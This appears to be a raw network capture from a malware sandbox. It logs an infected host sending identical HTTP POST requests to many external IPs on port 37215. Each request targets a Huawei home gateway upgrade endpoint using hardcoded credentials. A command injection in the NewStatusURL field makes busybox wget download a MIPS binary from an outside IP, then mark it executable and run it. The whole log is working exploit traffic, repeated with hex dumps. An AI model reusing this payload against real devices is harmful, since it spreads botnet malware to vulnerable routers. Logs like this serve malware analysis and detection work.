/t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.13	49626	197.53.161.229	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.940258026 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.13	33514	156.78.13.161	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.941005945 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.13	41282	156.97.36.34	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.941715002 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.13	55606	197.142.203.17	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.942478895 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.13	34092	41.30.124.178	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.943219900 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.13	60614	156.10.20.117	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.943965912 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.13	46644	156.79.10.64	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.944688082 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.13	53768	156.31.27.232	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.945411921 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.13	33492	197.125.224.191	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.946134090 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.13	53482	156.82.1.213	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.946835995 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.13	39894	197.56.205.250	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.947535038 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 